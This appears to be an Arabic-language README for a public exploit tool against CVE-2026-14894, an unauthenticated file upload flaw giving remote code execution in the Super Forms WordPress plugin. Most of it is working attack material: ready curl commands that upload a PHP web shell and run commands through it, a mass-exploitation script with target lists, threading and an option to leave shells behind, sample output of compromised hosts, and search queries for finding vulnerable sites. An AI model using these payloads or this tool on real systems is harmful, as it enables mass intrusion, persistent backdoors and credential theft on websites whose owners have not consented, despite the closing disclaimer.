
Super Forms رفع ملف غير مصادق عليه يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد | CVSS 9.8
CVE-2026-14894 هي ثغرة خطيرة (CVSS 9.8) لرفع الملفات بشكل غير موثّق في إضافة Super Forms – Drag & Drop Form Builder لووردبريس (من WebRehab) للإصدارات ≤ 6.3.313.
مُعالج super_submit_form من نوع nopriv AJAX يقبل رفع الملفات عبر تقديم النماذج دون:
حاجز nonce يتم تجاوزه بسهولة — حيث أن معالج AJAX منفصل من نوع nopriv (super_create_nonce) يُنشئ nonces صالحة لأي زائر غير موثّق.
المُهاجمون يقومون برفع ملفات PHP عشوائية عبر حمولات datauristring المشفرة بـ Base64 والتي تُكتب مباشرة إلى /wp-content/uploads/superforms/ باسم ملف يتحكم به المهاجم — مما يؤدي إلى تنفيذ أوامر مباشر.
| الإصدار | الحالة |
|---|---|
| ≤ 6.3.313 | ضعيف |
| 6.3.314+ | تم التصحيح |
التثبيتات النشطة: 600,000+
اكتشفه: andrea bocchetti عبر Wordfence (7 يوليو 2026)
ثلاثة فحوصات أمنية مفقودة في معالج رفع ملفات AJAX الخاص بـ Super Forms:
// Vulnerable: nopriv AJAX — no auth, no file type validation, no MIME check
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce'); // nonce for anyone
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form'); // upload for anyone
function super_submit_form() {
$data = json_decode(stripslashes($_POST['data']), true);
$file = $data['sf_upload_field']['files'][0];
$content = base64_decode($file['datauristring']); // no MIME validation
$name = $file['value']; // no filename sanitization
fwrite(fopen($upload_path . $name, 'w'), $content); // PHP written to disk
}
// Anyone can get a valid nonce — no authentication required
function super_create_nonce() {
$nonce = md5(uniqid(rand(), true));
$_SESSION['sf_nonce'] = $nonce;
echo $nonce; // returned to unauthenticated attacker
}
1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
→ Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=super_submit_form
sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
"datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
"value":"shell.php"}]}}
→ Shell written to /wp-content/uploads/superforms/
3. GET /wp-content/uploads/superforms/shell.php?c=id
→ RCE confirmed
git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt
# Single target
python cve_2026_14894.py -t target.com
# Mass exploit
python cve_2026_14894.py -f targets.txt
# Mass exploit + save results
python cve_2026_14894.py -f targets.txt -o shells.txt
# Leave shells on target
python cve_2026_14894.py -t target.com --no-cleanup
# Debug mode (show every request)
python cve_2026_14894.py -t target.com --debug
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request + stage in real-time
-v, --verbose Show detailed output
$ python cve_2026_14894.py -t target.com --debug
Super Forms | CVE-2026-14894 | CVSS 9.8
[target.com] [+] Super Forms detected v6.3.312
[target.com] [*] Nonce obtained
[target.com] [*] Uploading shell...
[target.com] [!] RCE confirmed
Host : target.com
SuperForms : YES v6.3.312
Upload : YES
RCE : YES
Shell : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 2.1s
Targets: 2500 | Threads: 30
[RCE] target-vuln-01.com 2.1s v6.3.312
[UP] target-patched-02.com 1.8s v6.3.314 (upload blocked)
[!] target-no-plugin-03.com 0.5s not installed
[150/2500] 6% | SuperForms:47 Upload:18 RCE:12
───────────────────────────────────────────────────────
Done | 180s | Targets:2500 Det:47 Upload:18 RCE:12
الخطوة 1 — الحصول على nonce
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_create_nonce'
# Returns 96-char hex nonce
الخطوة 2 — رفع شل PHP
NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_submit_form' \
-d "sf_nonce=$NONCE" \
-d 'form_id=1' \
-d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'
الخطوة 3 — تنفيذ الأوامر
curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'
body="wp-content/plugins/super-forms"
http.html:"super-forms"
الاستغلال الناجح يؤدي إلى تنفيذ أوامر عن بعد كمستخدم خادم الويب. ومن هناك:
wp-config.php → بيانات اعتماد قاعدة البياناتلأغراض تعليمية واختبارات مصرح بها فقط.
هذه الأداة مخصصة لمتخصصي الأمن الذين يقومون باختبارات اختراق مصرح بها، والمؤسسات التي تدقق بنيتها التحتية الخاصة، والباحثين الذين يدرسون استغلال الثغرات.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني وقد ينتهك:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحواسيب (18 U.S.C. 1030)
- إندونيسيا: UU ITE Pasal 30 & 46
- الاتحاد الأوروبي: Directive 2013/40/EU
- المملكة المتحدة: Computer Misuse Act 1990
المؤلفون لا يتحملون أي مسؤولية عن سوء الاستخدام.
| المصدر | الرابط |
|---|---|
| تنبيه Wordfence |
هذا المشروع ليس تابعًا لـ WebRehab أو Super Forms.
| wordfence.com |
| تنبيه IONIX | ionix.io |
| إدخال NVD | CVE-2026-14894 |
| الباحث | andrea bocchetti |